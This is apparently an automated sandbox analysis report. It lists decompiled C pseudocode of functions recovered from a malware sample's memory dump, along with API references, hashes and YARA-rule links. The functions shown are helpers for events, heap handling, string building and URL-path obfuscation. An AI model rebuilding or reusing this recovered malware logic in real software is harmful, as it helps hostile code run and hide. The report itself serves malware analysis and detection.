				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x4a8d128; // 0x4a8ad57
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04A86B2A(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E04A89A1A(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04A8A595( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x04a86ca3
0x04a86ca3
0x04a86cad
0x04a86cb3
0x04a86cb6
0x04a86cba
0x04a86cc2
0x04a86cc5
0x04a86cde
0x04a86ce1
0x04a86ce5
0x04a86ce9
0x04a86cea
0x04a86cef
0x04a86cf2
0x04a86cf9
0x04a86d00
0x04a86d53
0x04a86d5c
0x04a86d5f
0x04a86d9a
0x04a86da0
0x00000000
0x00000000
0x00000000
0x04a86d5f
0x04a86d06
0x00000000
0x04a86d0d
0x04a86d1b
0x04a86d1e
0x04a86d21
0x04a86d2d
0x04a86d31
0x04a86d93
0x04a86d33
0x04a86d36
0x04a86d3a
0x04a86d3b
0x04a86d3c
0x04a86d3e
0x04a86d45
0x04a86d83
0x04a86d8e
0x04a86d47
0x04a86d4a
0x04a86d4e
0x04a86d4e
0x04a86d45
0x00000000
0x04a86d31
0x04a86d06
0x04a86cca
0x04a86cd0
0x04a86cd5
0x04a86cd8
0x00000000
0x00000000
0x00000000
0x04a86d68
0x04a86d70
0x04a86d77
0x04a86d77
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,76D681D0), ref: 04A86CBA
SetEvent.KERNEL32(?), ref: 04A86CCA
GetLastError.KERNEL32 ref: 04A86D53

Part of subcall function 04A8A595: WaitForMultipleObjects.KERNEL32(00000002,04A8AA06,00000000,04A8AA06,?,?,?,04A8AA06,0000EA60), ref: 04A8A5B0

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

GetLastError.KERNEL32(00000000), ref: 04A86D88

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 0302749dc335c44e3d80b204f192b09b2e79fa0fdcb10ee07ad20402bdadae43
Instruction ID: 72d5cb6b70caed82afb72f92cbe5180bede79c93e5e16ad47e96095e120cd30f
Opcode Fuzzy Hash: 0302749dc335c44e3d80b204f192b09b2e79fa0fdcb10ee07ad20402bdadae43
Instruction Fuzzy Hash: BA3100B5900609EFEB21EFA5C98499EBBF8FF08354F14856EE542E2540E730BA459F60

Uniqueness

Uniqueness Score: -1.00%

Function 04A8959E, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04A8959E(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4a8d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4a8d250; // 0x5883893
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4a8d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x04a895a6
0x04a895a9
0x04a895af
0x04a895c7
0x04a895cb
0x04a895ce
0x04a895d0
0x04a895d3
0x04a895d5
0x04a895d8
0x04a895da
0x04a895da
0x04a895dc
0x04a895e7
0x04a895ec
0x04a895fd
0x04a89605
0x04a8960a
0x04a8960d
0x04a89610
0x04a89612
0x04a89618
0x04a8961b
0x04a8961b
0x04a8961b
0x04a89626
0x04a8962b
0x04a89635

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04A891EB,00000000,?,?,04A83F06,?,055295B0), ref: 04A895A9
RtlAllocateHeap.NTDLL(00000000,?), ref: 04A895C1
memcpy.NTDLL(00000000,?,-00000008,?,?,?,04A891EB,00000000,?,?,04A83F06,?,055295B0), ref: 04A89605
memcpy.NTDLL(00000001,?,00000001), ref: 04A89626

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: d56f535ee41f2b74242085505f0cd9e64e60e87cc76da7272ce3b0f3d7cf458f
Instruction ID: 9ae1835e85b5a0b3667ace4789716f9e0c62888b2ffdbf52076838e29f71b747
Opcode Fuzzy Hash: d56f535ee41f2b74242085505f0cd9e64e60e87cc76da7272ce3b0f3d7cf458f
Instruction Fuzzy Hash: C11129B2A00114AFE7109B69DC84DAEBFFDEB94260B05017EF409DB180EB75EE05D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04A81A22, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E04A81A22(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E04A845FB(_t8, _t1);
				_t16 = E04A86B2A(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E04A8A52C(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E04A86B2A(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E04A89A1A(_t16);
				}
				return _t18;
			}

0x04a81a2d
0x04a81a2e
0x04a81a31
0x04a81a33
0x04a81a3e
0x04a81a42
0x04a81a47
0x04a81a4b
0x04a81a53
0x04a81a58
0x04a81a60
0x04a81a60
0x04a81a69
0x04a81a6d
0x04a81a73
0x04a81a76
0x04a81a7c
0x04a81a7c
0x04a81a84
0x04a81a84
0x04a81a8b
0x04a81a8b
0x04a81a96

APIs

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

Part of subcall function 04A8A52C: wsprintfA.USER32 ref: 04A8A588

lstrlen.KERNEL32(?,00000000,00000000,00000027,00000005,00000000,00000000,04A85D7F,74666F53,00000000,?,04A8D00C,?,?), ref: 04A81A58
lstrcpy.KERNEL32(00000000,00000000), ref: 04A81A7C
lstrcat.KERNEL32(00000000,00000000), ref: 04A81A84

Strings

Soft, xrefs: 04A81A2E, 04A81A47

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 493051b5302c1c01a2d1e4edc9acc38752c55e25a23d37736a800cbe7ce1f2be
Instruction ID: ec9f8b5e8ce999b015e0c6e0984fdfeaef587e65a8cf83a2db81bff97eafbf5e
Opcode Fuzzy Hash: 493051b5302c1c01a2d1e4edc9acc38752c55e25a23d37736a800cbe7ce1f2be
Instruction Fuzzy Hash: 3E01DB32100106B7E7117BA4DC84AAF7BBCDF94399F444129F90556100EB78DA4787A1

Uniqueness

Uniqueness Score: -1.00%

Function 04A88E5E, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A88E5E(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x04a88e68
0x04a88e6c
0x04a88e81
0x04a88e85
0x04a88e88
0x04a88e8e
0x04a88e92
0x04a88e95
0x04a88ea0
0x04a88e97
0x04a88e97
0x04a88e97
0x04a88e95
0x04a88eae

APIs

memset.NTDLL ref: 04A88E6C
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,76D681D0), ref: 04A88E81
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 04A88E8E
CloseHandle.KERNEL32(?), ref: 04A88EA0

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: ed3c19f874efdbfb9abc3113d3f7c0b03051f7edefa418081174a2a8017474c3
Instruction ID: 065aedefcfce705c06bb32ea7fd5315afe6c35057947d297a0bc4dd93b85bd44
Opcode Fuzzy Hash: ed3c19f874efdbfb9abc3113d3f7c0b03051f7edefa418081174a2a8017474c3
Instruction Fuzzy Hash: 80F0FEB1504308BFE3206F26DCC4C27BBACFB562E8B51492DF14691551DA75F80A9A70

Uniqueness

Uniqueness Score: -1.00%

Function 04A81C77, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 33
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04A81C77(int __eax, char _a4) {
				void* _v0;
				void* _t12;
				int _t13;
				int _t14;

				_t1 =  &_a4; // 0x4d283a53
				_t14 = __eax;
				__imp__( *_t1);
				_t13 = __eax;
				if(__eax > __eax) {
					_t14 = __eax;
				}
				_t2 = _t14 + 1; // 0x1
				_t12 = E04A86B2A(_t2);
				if(_t12 != 0) {
					memcpy(_t12, _v0, _t13);
					memset(_t12 + _t13, 0, _t14 - _t13 + 1);
				}
				return _t12;
			}

0x04a81c7a
0x04a81c7e
0x04a81c80
0x04a81c86
0x04a81c8a
0x04a81c8c
0x04a81c8c
0x04a81c8e
0x04a81c97
0x04a81c9b
0x04a81ca3
0x04a81cb2
0x04a81cb7
0x04a81cbf

APIs

lstrlen.KERNEL32(S:(M,00000000,7612D3B0,?,04A81C4A,00000000,00000005,04A8D00C,00000008,?,?,59935A40,?,?,59935A40), ref: 04A81C80
memcpy.NTDLL(00000000,?,00000000,00000001,?,?,?,04A89032,?,?,?,4D283A53,?,?), ref: 04A81CA3
memset.NTDLL ref: 04A81CB2

Strings

S:(M, xrefs: 04A81C7A

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpymemset
String ID: S:(M
API String ID: 4042389641-2217774225
Opcode ID: 6afd3cbf9ae3e86665048217843d8fefe2a1297b8877c62181096d779126d483
Instruction ID: 7fede4e2b1c72b04b4e5fd0d78d4a6331cbcaccd118528055bd9bfde471440ad
Opcode Fuzzy Hash: 6afd3cbf9ae3e86665048217843d8fefe2a1297b8877c62181096d779126d483
Instruction Fuzzy Hash: AFE065B7A0421167D7307BB59DC8D4F6BADEBD4664B000529FD45D7204E525D81986B0

Uniqueness

Uniqueness Score: -1.00%

Function 04A8967D, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8967D() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4a8d26c; // 0x460
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4a8d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4a8d26c; // 0x460
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4a8d238; // 0x5130000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x04a8967d
0x04a89684
0x04a896ce
0x04a896d0
0x04a896d0
0x04a89688
0x04a8968e
0x04a89693
0x04a89697
0x04a8969d
0x04a896a4
0x00000000
0x00000000
0x04a896a6
0x04a896ab
0x00000000
0x00000000
0x00000000
0x04a896ab
0x04a896ad
0x04a896b5
0x04a896b8
0x04a896b8
0x04a896be
0x04a896c5
0x04a896c8
0x04a896c8
0x00000000

APIs

SetEvent.KERNEL32(00000460,00000001,04A845F5), ref: 04A89688
SleepEx.KERNEL32(00000064,00000001), ref: 04A89697
CloseHandle.KERNEL32(00000460), ref: 04A896B8
HeapDestroy.KERNEL32(05130000), ref: 04A896C8

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 0ec28cc13aac1404a3efe8d3411bf5c84742fde13207069d632257d141eb246f
Instruction ID: d01da45cacdca7be764b1a903962c99935da1782c9cb7d761e63bdf8bb9bb6ce
Opcode Fuzzy Hash: 0ec28cc13aac1404a3efe8d3411bf5c84742fde13207069d632257d141eb246f
Instruction Fuzzy Hash: 69F01CB1A092119BF7217B75A948B1777BDEB247A1704052CBC00DB2D0EA28EC019A70

Uniqueness

Uniqueness Score: -1.00%

Function 04A841D9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04A841D9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x4a8d324; // 0x55295b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4a8d324; // 0x55295b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x4a8d030) {
					HeapFree( *0x4a8d238, 0, _t8);
				}
				_t14[1] = E04A866B8(_v0, _t14);
				_t11 =  *0x4a8d324; // 0x55295b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x04a841d9
0x04a841d9
0x04a841e2
0x04a841f2
0x04a841f2
0x04a841f7
0x04a841fc
0x00000000
0x00000000
0x04a841ec
0x04a841ec
0x04a841fe
0x04a84202
0x04a84214
0x04a84214
0x04a84224
0x04a84227
0x04a8422c
0x04a84230
0x04a84236

APIs

RtlEnterCriticalSection.NTDLL(05529570), ref: 04A841E2
Sleep.KERNEL32(0000000A,?,?,?,04A89032,?,?,?,4D283A53,?,?), ref: 04A841EC
HeapFree.KERNEL32(00000000,00000000,?,?,?,04A89032,?,?,?,4D283A53,?,?), ref: 04A84214
RtlLeaveCriticalSection.NTDLL(05529570), ref: 04A84230

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 36b71ad4ff76d99f451a125431747a99794856bf71ca59c3622d1e601275b3ff
Instruction ID: 55f18fda940a0351281562878d261dc1aeb6ae86e26f06d1bc074826795c5619
Opcode Fuzzy Hash: 36b71ad4ff76d99f451a125431747a99794856bf71ca59c3622d1e601275b3ff
Instruction Fuzzy Hash: F7F0DF746012429BF724AF68E948F1A77B8EB38785B44840CF592DB291E728FD12CB25

Uniqueness

Uniqueness Score: -1.00%

Function 04A860A5, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E04A860A5() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4a8d324; // 0x55295b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4a8d324; // 0x55295b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4a8d324; // 0x55295b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4a8e845) {
					HeapFree( *0x4a8d238, 0, _t10);
					_t7 =  *0x4a8d324; // 0x55295b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x04a860a5
0x04a860ae
0x04a860be
0x04a860be
0x04a860c3
0x04a860c8
0x00000000
0x00000000
0x04a860b8
0x04a860b8
0x04a860ca
0x04a860cf
0x04a860d3
0x04a860e6
0x04a860ec
0x04a860ec
0x04a860f5
0x04a860f7
0x04a860fb
0x04a86101

APIs

RtlEnterCriticalSection.NTDLL(05529570), ref: 04A860AE
Sleep.KERNEL32(0000000A,?,?,?,04A89032,?,?,?,4D283A53,?,?), ref: 04A860B8
HeapFree.KERNEL32(00000000,?,?,?,?,04A89032,?,?,?,4D283A53,?,?), ref: 04A860E6
RtlLeaveCriticalSection.NTDLL(05529570), ref: 04A860FB

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: fad7457d1b3eb70e54a99e69580435bae90a027b9d508be3b357997f8bf2fdfe
Instruction ID: 9b844a58854772035685fed8c0174a832c92f524eb05f941d9a4ce3480eed82f
Opcode Fuzzy Hash: fad7457d1b3eb70e54a99e69580435bae90a027b9d508be3b357997f8bf2fdfe
Instruction Fuzzy Hash: 7DF0D474600200DFF718EB24EA89E1937F5EB28392B04801CF902DB390DB38EC52CE25

Uniqueness

Uniqueness Score: -1.00%

Function 04A86ECC, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04A86ECC(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04A86B2A(_t2);
				if(_t34 != 0) {
					_t30 = E04A86B2A(_t28);
					if(_t30 == 0) {
						E04A89A1A(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04A8A8A5(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04A8A8A5(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x04a86ecc
0x04a86ed6
0x04a86ed8
0x04a86ede
0x04a86ede
0x04a86ee7
0x04a86eeb
0x04a86ef7
0x04a86efb
0x04a86f6f
0x04a86efd
0x04a86efd
0x04a86f01
0x04a86f08
0x04a86f0b
0x04a86f25
0x04a86f14
0x04a86f14
0x04a86f18
0x04a86f1b
0x04a86f20
0x04a86f20
0x04a86f2a
0x04a86f52
0x04a86f58
0x04a86f5b
0x04a86f2c
0x04a86f2e
0x04a86f36
0x04a86f41
0x04a86f46
0x04a86f46
0x04a86f62
0x04a86f69
0x04a86f6a
0x04a86f6a
0x04a86efb
0x04a86f7a

APIs

lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,04A890A9,?,?,?,?,00000102,04A82200,?,?,00000000), ref: 04A86ED8

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

Part of subcall function 04A8A8A5: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04A86F06,00000000,00000001,00000001,?,?,04A890A9,?,?,?,?,00000102), ref: 04A8A8B3
Part of subcall function 04A8A8A5: StrChrA.SHLWAPI(?,0000003F,?,?,04A890A9,?,?,?,?,00000102,04A82200,?,?,00000000,00000000), ref: 04A8A8BD

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04A890A9,?,?,?,?,00000102,04A82200,?), ref: 04A86F36
lstrcpy.KERNEL32(00000000,00000000), ref: 04A86F46
lstrcpy.KERNEL32(00000000,00000000), ref: 04A86F52

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 773691ba6d182a6a68080804fb7e3ba844f51569acab2054d9a741e78859d262
Instruction ID: b4fa0867b209d82f95189232a3b922b6df6bffbff273422d18029dc63ccab6e4
Opcode Fuzzy Hash: 773691ba6d182a6a68080804fb7e3ba844f51569acab2054d9a741e78859d262
Instruction Fuzzy Hash: 9021DF72504255EFEB127FB4C848AAEBFB8EF06794F048058F8049B242E735ED018BB1

Uniqueness

Uniqueness Score: -1.00%

Function 04A85ABB, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A85ABB(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04A86B2A(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x04a85ad0
0x04a85ad4
0x04a85ade
0x04a85ae5
0x04a85ae8
0x04a85aea
0x04a85af2
0x04a85af7
0x04a85b05
0x04a85b0a
0x04a85b14

APIs

lstrlenW.KERNEL32(004F0053,76D25520,?,00000008,0552937C,?,04A81E45,004F0053,0552937C,?,?,?,?,?,?,04A82011), ref: 04A85ACB
lstrlenW.KERNEL32(04A81E45,?,04A81E45,004F0053,0552937C,?,?,?,?,?,?,04A82011), ref: 04A85AD2

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

memcpy.NTDLL(00000000,004F0053,76D269A0,?,?,04A81E45,004F0053,0552937C,?,?,?,?,?,?,04A82011), ref: 04A85AF2
memcpy.NTDLL(76D269A0,04A81E45,00000002,00000000,004F0053,76D269A0,?,?,04A81E45,004F0053,0552937C), ref: 04A85B05

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 80e8711a8831a6b32c08b1910b13f2d4fcea374293854e795822d6192c74743d
Instruction ID: 58b804c1bd42f78fa6ab8ed13fb2296391d868b606802423e1c3c024c08bb091
Opcode Fuzzy Hash: 80e8711a8831a6b32c08b1910b13f2d4fcea374293854e795822d6192c74743d
Instruction Fuzzy Hash: DDF04F76900118FFDF10EFA9CC44C9E7BACEF592587154066ED04D7201E632EA15DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A86B3F, Relevance: 5.0, APIs: 4, Instructions: 24stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,00000000,04A83F3D,616D692F,00000000), ref: 04A86B4B
lstrlen.KERNEL32(?), ref: 04A86B53

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

lstrcpy.KERNEL32(00000000,?), ref: 04A86B6A
lstrcat.KERNEL32(00000000,?), ref: 04A86B75

Memory Dump Source

